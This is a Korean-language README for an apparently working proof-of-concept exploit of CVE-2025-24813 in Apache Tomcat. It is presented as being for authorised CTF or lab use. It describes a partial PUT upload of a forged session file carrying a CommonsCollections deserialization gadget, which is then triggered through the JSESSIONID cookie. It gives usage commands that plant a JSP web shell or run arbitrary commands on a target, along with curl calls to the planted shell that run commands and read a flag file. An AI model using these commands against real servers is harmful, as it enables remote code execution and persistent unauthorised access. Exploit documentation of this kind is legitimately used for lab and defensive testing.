
Java CVE에 맞는 페이로드
허가된 CTF/랩 환경을 위한 PoC입니다. Tomcat 세션 파일의 부분 PUT 쓰기를 통해 CVE-2025-24813을 악용한 후 JSESSIONID로 역직렬화를 트리거합니다.
requests 모듈java 및 javac)commons-collections-3.2.1.jar 파일ysoserial은 필요하지 않습니다.
poc_cve_2025_24813.py: 생성, 업로드 및 트리거를 자동화하는 Python 래퍼.GenerateTomcatSessionPayload.java: CommonsCollections 가젯을 포함하는 유효한 Tomcat 세션을 생성합니다.commons-collections-3.2.1.jar: 가젯 의존성.sh.jsp: --drop-shell로 배포되는 선택적 JSP 셸.기본 웹루트 /opt/tomcat/webapps/ROOT에 JSP 셸을 배치합니다:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
셸을 배치하지 않고 직접 명령을 실행합니다:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
웹루트가 다른 경우:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
JAR을 다른 위치로 옮긴 경우 해당 경로를 지정하십시오:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
--drop-shell이 성공하면:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet 쓰기 가능, 일반적으로 readonly=false.PersistentManager 및 FileStore를 통한 영구 세션.commons-collections.업로드 시 예상되는 동작은 종종 다음 요청에 대한 HTTP 409 Conflict입니다:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
그런 다음 다음을 사용하여 역직렬화가 트리거됩니다:
Cookie: JSESSIONID=.<session-id>